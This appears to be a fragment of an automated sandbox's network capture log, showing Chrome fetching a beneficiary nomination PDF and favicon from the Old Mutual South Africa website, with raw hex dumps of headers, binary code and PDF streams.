                                                                                                                                                                  2024-12-22 11:15:24 UTC16384INData Raw: 00 00 83 c4 10 c3 68 54 52 02 10 68 4c 52 02 10 68 54 52 02 10 6a 0f e8 34 01 00 00 83 c4 10 c3 68 9c 52 02 10 68 94 52 02 10 68 9c 52 02 10 6a 13 e8 1a 01 00 00 83 c4 10 c3 68 d0 52 02 10 68 c8 52 02 10 68 d0 52 02 10 6a 15 e8 00 01 00 00 83 c4 10 c3 68 b8 52 02 10 68 b0 52 02 10 68 b8 52 02 10 6a 14 e8 e6 00 00 00 83 c4 10 c3 68 ec 52 02 10 68 e4 52 02 10 68 ec 52 02 10 6a 16 e8 cc 00 00 00 83 c4 10 c3 8b ff 55 8b ec 51 53 56 57 8b 7d 08 e9 a1 00 00 00 8b 1f 8d 04 9d e8 0a 03 10 8b 30 89 45 fc 85 f6 74 0b 83 fe ff 0f 84 83 00 00 00 eb 7d 8b 1c 9d 50 4c 02 10 68 00 08 00 00 6a 00 53 ff 15 a8 10 02 10 8b f0 85 f6 75 50 ff 15 04 10 02 10 83 f8 57 75 35 6a 07 68 50 51 02 10 53 e8 dc cc ff ff 83 c4 0c 85 c0 74 21 6a 07 68 60 51 02 10 53 e8 c8 cc ff ff 83 c4
                                                                                                                                                                  Data Ascii: hTRhLRhTRj4hRhRhRjhRhRhRjhRhRhRjhRhRhRjUQSVW}0Et}PLhjSuPWu5jhPQSt!jh`QS
                                                                                                                                                                  2024-12-22 11:15:24 UTC16384INData Raw: 58 c5 66 0f 14 c0 66 0f 59 f0 f2 0f 59 e0 66 0f 59 c0 66 0f 58 fe 66 0f 59 f8 f2 0f 59 c3 66 0f 70 f7 ee f2 0f 59 c7 66 0f 70 eb ee f2 0f 59 f3 f2 0f 59 e3 66 0f 6e f9 66 0f 73 f7 2d 66 0f 6e d2 66 0f 76 c9 66 0f f3 ca f2 0f 58 c5 f2 0f 58 c6 66 0f 54 cb f2 0f 58 c4 66 0f 57 f6 66 0f 76 e4 66 0f f3 e2 f2 0f 5c d9 f2 0f 10 d1 f2 0f 58 c8 66 0f 54 cc 66 0f c4 f7 03 5f f2 0f 5c d1 f2 0f 58 c2 f2 0f 58 c3 83 fe 00 7f 4e 5e f2 0f 59 c7 f2 0f 59 cf f2 0f 58 c1 f2 0f 59 f0 f2 0f 58 c6 66 0f c5 c0 03 25 f0 7f 00 00 ba 18 00 00 00 3d f0 7f 00 00 0f 84 10 fe ff ff ba 19 00 00 00 83 f8 00 0f 84 02 fe ff ff 83 ec 10 66 0f 13 44 24 04 dd 44 24 04 83 c4 10 c3 5e f2 0f 58 c1 f2 0f 59 c7 f2 0f 59 f0 f2 0f 58 c6 66 0f c5 c0 03 25 f0 7f 00 00 ba 18 00 00 00 3d f0 7f 00 00
                                                                                                                                                                  Data Ascii: XffYYfYfXfYYfpYfpYYfnfs-fnfvfXXfTXfWfvf\XfTf_\XXN^YYXYXf%=fD$D$^XYYXf%=
                                                                                                                                                                  2024-12-22 11:15:24 UTC16384INData Raw: 00 57 8d 45 ec 6a 02 50 e8 89 8e ff ff 83 c4 3c 0b c3 f7 d8 1a c0 5f 5e fe c0 5b 8b e5 5d c3 8b ff 55 8b ec 56 8b 75 08 85 f6 0f 84 d0 00 00 00 6a 07 56 e8 31 fd ff ff 8d 46 1c 6a 07 50 e8 26 fd ff ff 8d 46 38 6a 0c 50 e8 1b fd ff ff 8d 46 68 6a 0c 50 e8 10 fd ff ff 8d 86 98 00 00 00 6a 02 50 e8 02 fd ff ff ff b6 a0 00 00 00 e8 8d 4d ff ff ff b6 a4 00 00 00 e8 82 4d ff ff ff b6 a8 00 00 00 e8 77 4d ff ff 8d 86 b4 00 00 00 6a 07 50 e8 d3 fc ff ff 8d 86 d0 00 00 00 6a 07 50 e8 c5 fc ff ff 83 c4 44 8d 86 ec 00 00 00 6a 0c 50 e8 b4 fc ff ff 8d 86 1c 01 00 00 6a 0c 50 e8 a6 fc ff ff 8d 86 4c 01 00 00 6a 02 50 e8 98 fc ff ff ff b6 54 01 00 00 e8 23 4d ff ff ff b6 58 01 00 00 e8 18 4d ff ff ff b6 5c 01 00 00 e8 0d 4d ff ff ff b6 60 01 00 00 e8 02 4d ff ff 83 c4
                                                                                                                                                                  Data Ascii: WEjP<_^[]UVujV1FjP&F8jPFhjPjPMMwMjPjPDjPjPLjPT#MXM\M`M
                                                                                                                                                                  2024-12-22 11:15:24 UTC16384INData Raw: e9 48 11 fe ff 8d 4d bc e9 b0 1e fe ff cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a 98 33 c8 e8 9a 6f fe ff 8b 4a fc 33 c8 e8 90 6f fe ff b8 c4 da 02 10 e9 af 82 fe ff cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a fc 33 c8 e8 6f 6f fe ff b8 00 d8 02 10 e9 8e 82 fe ff cc cc cc 8d 4d e8 e9 68 27 fe ff cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a e4 33 c8 e8 42 6f fe ff 8b 4a fc 33 c8 e8 38 6f fe ff b8 08 db 02 10 e9 57 82 fe ff cc cc cc cc cc cc cc cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a ec 33 c8 e8 0f 6f fe ff b8 44 db 02 10 e9 2e 82 fe ff cc cc cc 8d 4d e0 e9 e6 4c fe ff 6a 18 8b 45 dc 50 e8 fd 6e fe ff 83 c4 08 c3 8d 4d e8 e9 31 46 fe ff cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a 90 33 c8 e8 cb 6e fe ff 8b 4a f8 33 c8 e8 c1 6e fe ff b8
                                                                                                                                                                  Data Ascii: HMT$BJ3oJ3oT$BJ3ooMh'T$BJ3BoJ38oWT$BJ3oD.MLjEPnM1FT$BJ3nJ3n
                                                                                                                                                                  2024-12-22 11:15:24 UTC16384INData Raw: 00 d0 4b 02 10 19 00 00 00 d8 4b 02 10 11 00 00 00 e0 4b 02 10 18 00 00 00 e8 4b 02 10 16 00 00 00 f0 4b 02 10 17 00 00 00 f8 4b 02 10 22 00 00 00 00 4c 02 10 23 00 00 00 04 4c 02 10 24 00 00 00 08 4c 02 10 25 00 00 00 0c 4c 02 10 26 00 00 00 14 4c 02 10 65 78 70 00 70 6f 77 00 6c 6f 67 00 6c 6f 67 31 30 00 00 00 73 69 6e 68 00 00 00 00 63 6f 73 68 00 00 00 00 74 61 6e 68 00 00 00 00 61 73 69 6e 00 00 00 00 61 63 6f 73 00 00 00 00 61 74 61 6e 00 00 00 00 61 74 61 6e 32 00 00 00 73 71 72 74 00 00 00 00 73 69 6e 00 63 6f 73 00 74 61 6e 00 63 65 69 6c 00 00 00 00 66 6c 6f 6f 72 00 00 00 66 61 62 73 00 00 00 00 6d 6f 64 66 00 00 00 00 6c 64 65 78 70 00 00 00 5f 63 61 62 73 00 00 00 5f 68 79 70 6f 74 00 00 66 6d 6f 64 00 00 00 00 66 72 65 78 70 00 00 00 5f 79
                                                                                                                                                                  Data Ascii: KKKKKK"L#L$L%L&Lexppowloglog10sinhcoshtanhasinacosatanatan2sqrtsincostanceilfloorfabsmodfldexp_cabs_hypotfmodfrexp_y


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  2192.168.2.74972218.161.69.164437264C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-22 11:15:24 UTC710OUTGET /favicon.ico HTTP/1.1
                                                                                                                                                                  Host: www.oldmutual.co.za
                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                  sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                                                  sec-ch-ua-mobile: ?0
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                  sec-ch-ua-platform: "Windows"
                                                                                                                                                                  Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                                                                                                                                                                  Sec-Fetch-Site: same-origin
                                                                                                                                                                  Sec-Fetch-Mode: no-cors
                                                                                                                                                                  Sec-Fetch-Dest: image
                                                                                                                                                                  Referer: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                                                  Accept-Encoding: gzip, deflate, br
                                                                                                                                                                  Accept-Language: en-US,en;q=0.9
                                                                                                                                                                  2024-12-22 11:15:25 UTC9606INHTTP/1.1 404 Not Found
                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                  Content-Length: 8659
                                                                                                                                                                  Connection: close
                                                                                                                                                                  Date: Sun, 22 Dec 2024 07:25:59 GMT
                                                                                                                                                                  Last-Modified: Fri, 20 Dec 2024 07:21:35 GMT
                                                                                                                                                                  x-amz-server-side-encryption: AES256
                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                  Server: AmazonS3
                                                                                                                                                                  Content-Security-Policy: default-src 'self'; font-src 'self' data: https://use.typekit.net https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://tagmanager.google.com https://fonts.googleapis.com https://fonts.gstatic.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://services.ominsure.co.za https://embed.tawk.to https://salesiq.zoho.com https://css.zohostatic.com https://css.zohocdn.com/* https://css.zohocdn.com/salesiq/styles/fonts/cw/puvi/* https://css.zohocdn.com/salesiq/styles/fonts/cw/* https://css.zohocdn.com; style-src 'self' 'unsafe-inline' https://tagmanager.google.com https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://fonts.googleapis.com https://optimize.google [TRUNCATED]
                                                                                                                                                                  2024-12-22 11:15:25 UTC9824INData Raw: 58 2d 57 65 62 4b 69 74 2d 43 53 50 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 73 65 6c 66 27 3b 20 66 6f 6e 74 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 68 74 74 70 73 3a 2f 2f 74 65 73 74 2d 64 6d 73 2e 6f 6c 64 6d 75 74 75 61 6c 2e 63 6f 6d 2e 67 68 20 68 74 74 70 73 3a 2f 2f 74 65 73 74 2e 69 6e 74 65 72 70 61 79 61 66 72 69 63 61 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 74 65 73 74 2d 64 6d 73 2e 6f 6c 64 6d 75 74 75 61 6c 2e 63 6f 6d 2e 67 68 2f 2a 20 68 74 74 70 73 3a 2f 2f 74 65 73 74 2e 69 6e 74 65 72 70 61 79 61 66 72 69 63 61 2e 63 6f 6d 2f 2a 20 20 68 74 74 70 73 3a 2f 2f 74 61 67 6d 61 6e 61 67 65 72 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f
                                                                                                                                                                  Data Ascii: X-WebKit-CSP: default-src 'self'; font-src 'self' data: https://use.typekit.net https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://tagmanager.google.com https://
                                                                                                                                                                  2024-12-22 11:15:25 UTC8659INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 68 74 6d 6c 2d 73 65 72 76 65 72 2d 72 65 6e 64 65 72 65 64 3d 22 74 72 75 65 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 74 61 2d 76 75 65 2d 74 61 67 3d 22 25 37 42 25 32 32 6c 61 6e 67 25 32 32 3a 25 37 42 25 32 32 73 73 72 25 32 32 3a 25 32 32 65 6e 25 32 32 25 37 44 25 37 44 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 72 69 64 73 6f 6d 65 3a 68 61 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 39 38 35 62 32 35 38 63 33 66 32 34 64 31 63 30 64 63 30 32 37 62 39 61 61 66 36 61 38 35 62 36 64 64 30 39 35 63 38 39 22 3e 3c 6d 65 74 61 20 64 61 74 61 2d 76 75 65 2d 74 61 67 3d 22 73 73 72 22 20
                                                                                                                                                                  Data Ascii: <!DOCTYPE html><html data-html-server-rendered="true" lang="en" data-vue-tag="%7B%22lang%22:%7B%22ssr%22:%22en%22%7D%7D"> <head> <title> </title><meta name="gridsome:hash" content="985b258c3f24d1c0dc027b9aaf6a85b6dd095c89"><meta data-vue-tag="ssr"


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  3192.168.2.74972318.161.69.164437264C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-22 11:15:26 UTC450OUTGET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1
                                                                                                                                                                  Host: www.oldmutual.co.za
                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                  Sec-Fetch-Site: none
                                                                                                                                                                  Sec-Fetch-Mode: navigate
                                                                                                                                                                  Sec-Fetch-Dest: empty
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                  Accept-Encoding: gzip, deflate, br
                                                                                                                                                                  Accept-Language: en-US,en;q=0.9
                                                                                                                                                                  2024-12-22 11:15:26 UTC1055INHTTP/1.1 200 OK
                                                                                                                                                                  Content-Type: application/pdf
                                                                                                                                                                  Content-Length: 313058
                                                                                                                                                                  Connection: close
                                                                                                                                                                  Content-Disposition: inline; filename=Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                                                  Fastly-Io-Error: not a supported image format
                                                                                                                                                                  Fastly-Io-Served-By: vpop-etou8240196
                                                                                                                                                                  Fastly-Stats: io=1
                                                                                                                                                                  Server: contentstack
                                                                                                                                                                  X-Contentstack-Organization: blt2c31cdce6d24f06c
                                                                                                                                                                  X-Request-Id: 3dd79f5f402ab71f92243ac6017a1eed
                                                                                                                                                                  X-Runtime: 97ms
                                                                                                                                                                  Via: 1.1 varnish, 1.1 varnish, 1.1 e0d4d40f3770d392aad6360a20256d2e.cloudfront.net (CloudFront)
                                                                                                                                                                  Cache-Control: max-age=31536000
                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                  Date: Sun, 22 Dec 2024 11:15:21 GMT
                                                                                                                                                                  X-Served-By: cache-ams21052-AMS, cache-fjr990021-FJR
                                                                                                                                                                  X-Cache-Hits: 4, 0
                                                                                                                                                                  X-Timer: S1734866121.390944,VS0,VE1
                                                                                                                                                                  Access-Control-Expose-Headers: content-disposition, content-type, cache-control, status, content-length
                                                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                                                  Strict-Transport-Security: max-age=31557600
                                                                                                                                                                  Vary: Accept-Encoding
                                                                                                                                                                  X-Cache: Hit from cloudfront
                                                                                                                                                                  X-Amz-Cf-Pop: DXB52-P1
                                                                                                                                                                  X-Amz-Cf-Id: OFNZBkry-WXSOQMqj1aLEojx6AslwKOE97CbcRogNuCPrwIO0glCTA==
                                                                                                                                                                  Age: 5
                                                                                                                                                                  2024-12-22 11:15:26 UTC15329INData Raw: 25 50 44 46 2d 31 2e 36 0d 25 e2 e3 cf d3 0d 0a 31 31 39 36 20 30 20 6f 62 6a 0d 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 69 72 73 74 20 34 31 38 2f 4c 65 6e 67 74 68 20 33 36 38 31 2f 4e 20 34 36 2f 54 79 70 65 2f 4f 62 6a 53 74 6d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de cc 5a 7b 6f 1b 39 92 ff 2a 0d dc 1f 9b e0 30 62 37 9f 4d 60 11 40 b1 9d 19 df c6 76 2e 76 2e 37 d3 10 16 6d a9 6d 37 46 52 6b 5b ad 4c 7c 9f fe 7e 45 16 65 f9 19 27 13 4c 16 86 c4 57 55 b1 aa 58 2f d2 f2 b6 cc f2 cc 5b 9f 49 6d 32 6f 5c e6 a4 45 6b b3 52 62 de 60 ae c0 d8 a9 ac c8 1d 06 ae c8 0a 53 52 47 66 32 2f a8 93 67 52 5a 09 1a 98 31 04 6c 8b 4c 5a 55 a2 e3 d0 d1 0e 1d 9b 49 e7 08 46 a1 53 16 e8 00 ab 54 0a 3b f8 4c e9 02 33 a6 cc 94 75 c4 8b c9 94 93 00 76
                                                                                                                                                                  Data Ascii: %PDF-1.6%1196 0 obj<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>streamhZ{o9*0b7M`@v.v.7mm7FRk[L|~Ee'LWUX/[Im2o\EkRb`SRGf2/gRZ1lLZUIFST;L3uv
                                                                                                                                                                  2024-12-22 11:15:27 UTC16384INData Raw: b1 c6 1e 9c ee c8 9e 09 6b bb c3 b5 13 69 d3 1d f0 73 01 39 10 98 89 83 fb 64 08 b0 a1 33 20 73 01 79 2e 9c 05 5f f7 64 a0 17 90 73 51 18 c8 35 38 03 e4 a2 a5 6b 21 b7 60 5c 02 62 18 7c 93 0d 59 66 58 cf 86 34 eb 80 cf 86 3c 1b d0 2e 91 84 83 a7 67 0b 64 20 7c 93 30 60 d0 b5 d9 72 1b 39 29 5c f8 80 76 89 cc 1e 05 e3 12 a9 39 16 7c 93 70 8d 37 78 2c ad 23 61 11 8b b4 b1 79 47 60 13 74 f1 be 28 83 1c 66 72 27 9c ee 23 b9 94 c8 ea 4e 9c c2 07 72 33 91 67 ee 08 3e 93 16 09 cf ec 05 72 40 f1 84 b3 3c 30 9d e0 89 07 12 3e 91 67 1e 48 ab 04 84 93 06 cc 06 0f 78 23 c1 37 27 9f 13 84 73 b2 28 c1 38 67 c2 26 82 e7 4c 87 04 e7 9c ce 4e 90 ce 69 4a 82 75 4e c1 24 ed 12 54 48 f2 8e a9 95 24 5e d2 51 70 31 fc 04 64 a4 17 14 04 32 54 f1 22 c1 90 d3 20 27 90 c1 28 2f 24
                                                                                                                                                                  Data Ascii: kis9d3 sy._dsQ58k!`\b|YfX4<.gd |0`r9)\v9|p7x,#ayG`t(fr'#Nr3g>r@<0>gHx#7's(8g&LNiJuN$TH$^Qp1d2T" '(/$
                                                                                                                                                                  2024-12-22 11:15:27 UTC16384INData Raw: 28 28 93 05 ac ce dc 9e 0e 61 29 c8 1e c2 31 74 08 33 1e 39 ca 2b 29 0c e7 5c 8f 18 31 15 19 21 99 e3 d7 21 c9 d6 66 a0 be ff 46 21 89 fd 3a 26 f9 b7 89 49 79 2d be 88 49 79 11 93 eb 90 a4 ff 2b 24 8a 27 43 09 fd ad cc 8b 46 9e cf 63 64 5e 2d ea a9 27 bd bc f5 c3 af 4a 0b dc 58 f9 62 f8 ea c6 68 7d 72 70 e2 8c de 66 b4 94 8d c6 4a 93 37 e4 5f 75 5f 41 9d 0e 68 4c 32 1f 4e 7c 25 1c 16 16 21 85 b0 75 cf 7c d5 e5 32 c6 78 03 49 f7 36 ce a5 6a dc 49 81 8f 39 be fa b8 95 a5 5f 79 89 7d a3 eb 4a d6 d5 b9 f8 3c c5 60 4a 19 e3 18 9b d3 04 aa b0 ac 41 5b e0 e5 bc 59 a9 66 b1 43 97 a9 3a c6 e6 26 eb 63 5d 2a 9e 09 14 e0 27 20 c1 f7 df f0 3d 97 19 6d 1f 5c e6 95 43 9e 9e f9 f6 f4 3f 01 06 00 7a 6b e9 b7 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 32 30 35
                                                                                                                                                                  Data Ascii: ((a)1t39+)\1!!fF!:&Iy-Iy+$'CFcd^-'JXbh}rpfJ7_u_AhL2N|%!u|2xI6jI9_y}J<`JA[YfC:&c]*' =m\C?zkendstreamendobj205
                                                                                                                                                                  2024-12-22 11:15:27 UTC16384INData Raw: e7 fc b7 73 fe d9 bd 72 f9 ea 22 ab 61 6f 31 95 75 bf 38 b5 bb 87 f9 7f 77 f0 ef ce bf 7e 45 f8 43 be 03 8f bf 2e 5d 3a 77 b1 3c fe 9c b1 da d8 b9 0b 6f 2c ed 39 bd a0 30 56 5f c7 d8 8e fc f2 62 61 61 cb db b7 1a 19 33 66 41 ca 2c 63 c2 e7 1b 3f c6 a3 63 f9 e2 95 6b e5 f1 6d c6 b6 7d 7a e1 95 f9 c2 2f 93 3f 79 87 b1 91 8f 18 db 72 fd 62 e1 da 25 5f 3f d1 8e 87 78 b9 70 71 f1 d2 bf 5a f6 61 9c 65 4c 39 7b e9 f2 62 59 3f f5 6b cf c7 80 72 5e b9 c3 82 d0 15 15 1b 33 e3 be e4 b3 ac 87 8f 10 2f 52 0e 07 61 84 c9 ed f2 90 4d 1f 3b 2c d8 af 18 7b a0 a8 f7 d6 b1 3e f0 33 fe a9 60 fc 43 d2 29 6d ca 5d 6f 89 ca be cc 9f c4 e7 03 f6 81 62 d1 6e 6b 0d ca 89 f5 7f 93 7c 38 4f 9a b2 ce 22 6d 59 bf 8a cf fb ec 7d b2 a9 fc 5d 69 63 6c fd a0 c7 b9 b7 fe 99 1a 53 f4 f5 fb
                                                                                                                                                                  Data Ascii: sr"ao1u8w~EC.]:w<o,90V_baa3fA,c?ckm}z/?yrb%_?xpqZaeL9{bY?kr^3/RaM;,{>3`C)m]obnk|8O"mY}]iclS
                                                                                                                                                                  2024-12-22 11:15:27 UTC16384INData Raw: 25 14 33 30 88 f3 32 77 24 41 e7 12 94 b9 31 69 32 cb 91 3a fa e2 aa 79 a8 5d 29 67 ae 61 f1 25 99 e5 4a 1d dd f1 8e 5e 7d d0 eb c3 f1 7c 6d 3c 4f 52 c1 13 e9 8f ab 1e 4f 84 91 64 98 79 82 bc 66 b1 92 c3 6a 36 ff 71 e1 0f 23 85 b8 12 a6 40 2c ae f2 e4 61 b4 e1 39 5c 5f 3e 6d 8d 4f 44 b5 85 b6 57 e7 73 15 dc 0a 7c 44 c1 48 76 a0 ff 3b 70 74 e9 52 ad b0 80 2a 40 be 88 d9 8a 30 68 9b 27 84 68 6b 95 2f 81 0a 42 b4 2f ce 3c 62 98 46 99 13 8b cf 21 62 c1 85 69 02 a7 ff 5e 6e 2e c1 37 ca 70 78 2e a1 e6 59 83 ec d5 a0 d7 8f 69 5a 83 b1 e5 07 65 56 20 a9 84 d3 42 cc 33 a7 45 92 6a e2 b4 58 52 cd 9c 96 48 aa 85 d3 b5 92 6a e5 d4 2b a9 36 4e d7 49 6a 16 a7 a5 92 6a e7 b4 5a 12 17 f2 ce ac 09 cc b0 48 6b 19 d9 cf 37 88 cc 6a 32 98 85 8b cc 17 75 66 30 83 59 b1 c8 4c
                                                                                                                                                                  Data Ascii: %302w$A1i2:y])ga%J^}|m<OROdyfj6q#@,a9\_>mODWs|DHv;ptR*@0h'hk/B/<bF!bi^n.7px.YiZeV B3EjXRHj+6NIjjZHk7j2uf0YL
                                                                                                                                                                  2024-12-22 11:15:27 UTC16384INData Raw: cc 8c 7d 87 09 4d e8 77 58 42 db ea 64 b1 90 36 41 4d 96 1e 5b e6 e1 08 5b 4f 9f 47 17 8b 99 7f 6f 30 cb 5d 92 4a b3 4a 4b 20 66 56 49 07 ec 62 21 7b 7a 4e 09 cc 82 f2 2e f3 90 4c 09 1a f2 e0 1f 34 9e 16 58 ef 39 4a a4 5f 32 03 50 25 20 09 1c 76 16 7f 66 55 58 11 3d 8a 7b 46 c0 b7 e8 97 ca c7 ba 20 f7 07 6b 71 10 30 ca 13 d5 38 c8 71 08 d1 a1 ba 48 35 79 f2 bc 9c 42 a5 98 bd f1 7a f8 d0 99 6a 84 c9 09 3b 25 c6 e1 ca 45 eb ab 83 02 ed aa a5 20 18 87 de d1 c6 db dd 4f de f3 b6 75 35 53 12 f7 f6 2b 0d 96 58 b5 54 b9 f8 04 78 da e5 5a 7a d3 50 28 52 18 c5 bc da 6c d9 45 1d ae 4c 31 ee a4 2a 29 da 05 07 f4 f0 13 d2 59 bd f8 84 34 f3 dc b9 2f 9b 31 61 aa 31 e3 65 0a b3 a6 3a 60 94 c1 36 dc 5f e0 d4 0b a9 90 d0 94 4a c1 0c cb 73 19 f7 66 2d 27 b8 2d 25 1c 96 14
                                                                                                                                                                  Data Ascii: }MwXBd6AM[[OGo0]JJK fVIb!{zN.L4X9J_2P% vfUX={F kq08qH5yBzj;%E Ou5S+XTxZzP(RlEL1*)Y4/1a1e:`6_Jsf-'-%
                                                                                                                                                                  2024-12-22 11:15:27 UTC16384INData Raw: d2 3a 36 08 7d 39 c4 4b 1d ac 08 cf 47 04 79 d6 53 19 2b c1 77 ae 83 b6 b3 6b c8 77 02 fa 29 c8 71 cc 79 1e ef fa 18 f2 de 47 7b 86 0a d9 63 72 21 a7 9b 5d c7 b9 14 a4 1a d6 46 25 98 bf 0c b6 d3 88 a5 09 b4 c6 7c c6 fd e5 61 4d e9 f5 1b bf cf 6b c8 55 6e 8f 64 d8 c6 fe f7 73 b9 02 39 9a 69 b3 23 38 23 8e d1 36 16 c6 b7 f8 16 72 aa a9 4f 2c 80 fb f0 a4 a6 d8 6d fc 5f 1b c2 1c d8 1f 56 41 2a be eb c5 38 4b 1c 38 72 0a 39 9e 45 a4 6f 1a 63 59 98 5a 38 98 3c 0b f5 bf f0 cd 33 bd 60 28 2b 6f 38 5f ff 1d 8b 6b 5e 38 c9 79 3e 1d eb 9a bf 52 fb 17 42 0b 4e 7f 56 46 ff 1f a1 68 11 e9 12 ee 64 62 2b 9e 41 74 81 79 6e 20 ba a7 d1 f7 8b 2b e2 f0 1c 78 67 32 39 3b 79 0a e8 ce ca e8 fc 20 15 80 c3 d2 c0 0c 3e fe 09 7b ed 2c e8 73 e2 b2 fd 69 16 3e 38 e4 1c 39 72 e4 f8
                                                                                                                                                                  Data Ascii: :6}9KGyS+wkw)qyG{cr!]F%|aMkUnds9i#8#6rO,m_VA*8K8r9EocYZ8<3`(+o8_k^8y>RBNVFhdb+Atyn +xg29;y >{,si>89r
                                                                                                                                                                  2024-12-22 11:15:27 UTC16384INData Raw: 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 30 37 32 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 36 39 2e 37 32 20 31 31 2e 36 34 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 30 37 33 20 30 20 6f
                                                                                                                                                                  Data Ascii: e/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1072 0 obj<</BBox[0.0 0.0 69.72 11.64]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1073 0 o
                                                                                                                                                                  2024-12-22 11:15:27 UTC16384INData Raw: 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 31 36 33 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 36 39 2e 37 32 20 31 31 2e 36 34 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73
